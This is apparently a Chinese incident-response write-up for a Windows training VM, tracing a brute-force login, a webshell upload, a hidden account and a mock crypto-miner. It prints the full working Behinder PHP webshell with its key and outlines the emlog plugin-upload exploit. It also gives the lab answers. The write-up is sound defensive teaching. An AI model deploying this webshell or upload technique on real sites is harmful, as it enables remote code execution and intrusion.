这段时间一直在学习
内网横向以及代理的知识,相信大家也都看腻了,今天给大家换个口味;重新拿
应急响应的靶机练练手,找回当安服仔的感觉;
文章目录
挑战内容-Web1
前景需要:
小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容,并作为通关条件:
- 攻击者的shell密码
- 攻击者的IP地址
- 攻击者的隐藏账户名称
- 攻击者挖矿程序的矿池域名(仅域名)
- 有实力的可以尝试着修复漏洞
-
靶机环境:
- Windows Server 2022
- phpstudy(小皮面板)
-
账号密码:
- 用户:administrator
- 密码:
Zgsf@admin.com
因为本次靶机难度较小,主要是用来找找手感,所以大部分步骤涉及Windows应急响应 ;
大家可以看看这篇文章了解一下基本的思路:Windows日志分析
本次主要是介绍我的应急思路,就不按着题目去找flag了;发现什么是什么
(好处就是比较贴近真实生产环境,不会僵化思维)
应急思路
首先,我们登陆靶机,发现是一台Server 2012的服务器:

根据题目"发现有CPU占用飙升",我就猜测系统的计划任务或者开启启动项可能存在脚本,于是进行查找:
计划任务排查(无异常)
单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现文件的路径:

打开后点击:Microsoft ---> Windows即可进行查看:

这里我们发现了一个计划任务$(@%systemroot%\system32\SrvInitConfig.exe,-101),看样子有点异常;
- (一般 %systemroot% 就是 C:\Windows 路径)
因为处于禁用状态,我又去他的文件路径 C:\system32\ 进行查看,没发现什么异常;
开机启动项排查(无异常)
(1)登录服务器,单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件:

(2)组策略检查:打开cmd命令行运行 gpedit.msc

均未发现异常;
隐藏用户排查(异常)
既然上述都没有发现异常,我们就从隐藏用户下手;因为正常的攻击者入侵系统后肯定会建立后门或者用户,方便下次登陆:
bash
# 列出所有本地用户(基础排查)
net user ------隐藏用户排查不出来
# 获取用户详细信息(含状态、描述、SID)
wmic useraccount get Name,Status,Description,Disabled,SID

通过这两条命令,我们可以得到后门用户生成的时间;
而这也为我们确定了攻击者攻击的大概时间:2024/2/26 23:01:13
输入命令,可以得到攻击者创建的隐藏用户:hack168$

所以我们可以得到的隐藏账户名称;
日志排查
在Windows中,在进行溯源的时候,我们通常是查看"安全 ""系统 ""应用程序 "这三个日志(2025下半年软考考了喔,别问我怎么知道的):
Win+R 打开运行,输入 "eventvwr.msc ",回车运行,打开"事件查看器":

(这里我们通常可以按照特定事件ID来进行排查):
4624:表示帐户已成功登录。这个事件ID可以用来筛选系统中所有成功登录的记录
4625:表示帐户登录失败。这个事件ID可以帮助我们判断是否存在RDP爆破攻击等情况
4634:表示帐户被注销。这个事件ID记录了用户注销的情况 4647:表示用户发起注销。
4648:表示试图使用明确的凭证登录。这个事件ID可以查看远程登录的相关信息,比如IP地址等
4672:表示超级管理员登录
4720:表示新用户的创建
所以我们可以输入相应的ID来进行查询,在经过排查后,基本可以确定攻击者的攻击时间为从2024/2/26 22:16分开始:

并且在创建隐藏用户后,尝试了登陆:

--
既然通过日志知道了攻击者的大概时间,那么接下来我们就可以去Web系统的日志来进一步的调查了;
- 正常的攻击思路:Web服务器 --->利用漏洞获取主机www用户 ---> 获取主机SYSTEM权限
- 蓝队溯源思路:日志了解攻击时间 --->Web服务器日志查看利用了什么方法进入 --->找到攻击路径
所以我们来到文件,发现phpstudy搭建的是Apache的服务,那我们直接查看他的access.log 和error.log即可:
- 具体步骤可以参照:Apache和Linux日志分析


主要查看这两个文件,经过一段时间的排查,我们可以发现在/content/plugins/tips/路径出现大量的shell.php:

而往上翻,可以发现大量的account.php的使用(合理猜测是登陆的页面 ,被攻击者进行爆破攻击)

而看IP地址,可以得知攻击者IP为192.168.126.1
攻击路径还原:攻击者爆破攻击 成功进入Web系统 ------>通过Web服务的
/content/plugins/tips/上传shell.php ------> 获取了主机的权限 ------> 通过命令提权并建立隐藏用户 ------> 生成挖矿程序消耗目标机器 ------>造成CPU资源耗尽
找到隐藏文件
随后我们根据日志的路径,来到服务器的相应路径上,发现了shell.php文件:

打开后发现为冰蝎的shell,一打开就报毒:

得到文件内容:

bash
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
随后对e45e329feb5d925b进行解密,密码为rebeyond
攻击者挖矿程序的矿池域名(仅域名)
我们之前不是找到了隐藏用户吗,我们到他的用户目录下查看有哪些可疑文件:


发现了一个挖矿文件,一点击执行,电脑直接崩了。。。

随后我我们使用工具pyinstxtractor对exe文件进行进行解包:

解压为pyc文件,随后反编译成py文件:
再使用工具uncompyle6将pyc文件反编译成py文件:
bash
pip install uncompyle6
uncompyle6 Kuang.pyc
下载模块:

成功得到python文件:

bash
# uncompyle6 version 3.9.3
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.11.3 (tags/v3.11.3:f3909b8, Apr 4 2023, 23:49:59) [MSC v.1934 64 bit (AMD64)]
# Embedded file name: Kuang.py
import multiprocessing, requests
def cpu_intensive_task():
while True:
try:
requests.get("http://wakuang.zhigongshanfang.top", timeout=10)
except:
pass
if __name__ == "__main__":
cpu_count = multiprocessing.cpu_count()
processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)]
for process in processes:
process.start()
else:
for process in processes:
process.join()
# okay decompiling Kuang.pyc
矿池域名:wakuang.zhigongshanfang.top
有实力的可以尝试着修复漏洞
我们打开phpstudy的Apache和MySQL服务,然后到网站看看它搭建了一个什么服务:


发现了几个功能点,在我们熟悉系统的同时,用dirsearch扫描一下这个系统的目录:
bash
python dirsearch.py -u http://192.168.44.167/


发现了不少东西,其中就有我们很熟悉的登陆接口:./account.php?action=signin

查看它使用的框架:


再去查找相应的漏洞:

emlog v2.5.3版本存在文件上传漏洞,该漏洞源于admin/plugin.php插件组件对上传的文件缺少有效的验证。攻击者可利用该漏洞上传恶意文件从而远程执行任意代码。
- 准备一个名为shell的文件夹,里面包含shell.php,文件内容<?php phpinfo();
- 访问目录:
/content/plugins/shell/shell.php,成功回显phpinfo
还记得我们之前检查日志时,发现的爆破行为吗;所以我们可以猜测这个系统存在弱口令漏洞 :
用bp进行爆破后,成功进入后台系统:

而针对这个系统的漏洞:
- 使用强口令
- 及时更新系统版本
- 对每个登陆的用户进行身份认证,赋予唯一的Session ID
解题成功
用cmd打开桌面上的解题.exe,分别输入命令:


成功解题:
bash
C:\Users\Administrator\Desktop>解题.exe
公众号:知攻善防实验室
欢迎使用知攻善防实验室-应急响应训练靶机解题系统
在此之前,您应该获取到以下信息
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名
你准备好了吗?(y or n)y
请输入攻击者的shell密码:rebeyond
题解正确!
请输入攻击者的IP地址192.168.126.1
题解正确!
请输入攻击者的隐藏账户名称:hack168$
题解正确!
请输入攻击者挖矿程序的矿池域名:wakuang.zhigongshanfang.top
题解正确!
恭喜您,该靶机已被您攻破!
恭喜您,该靶机已被您攻破!
恭喜您,该靶机已被您攻破!
恭喜您,该靶机已被您攻破!
总结
本次靶机难度不高,主要适合刚入门尝试练习的师傅;
期待下次再见;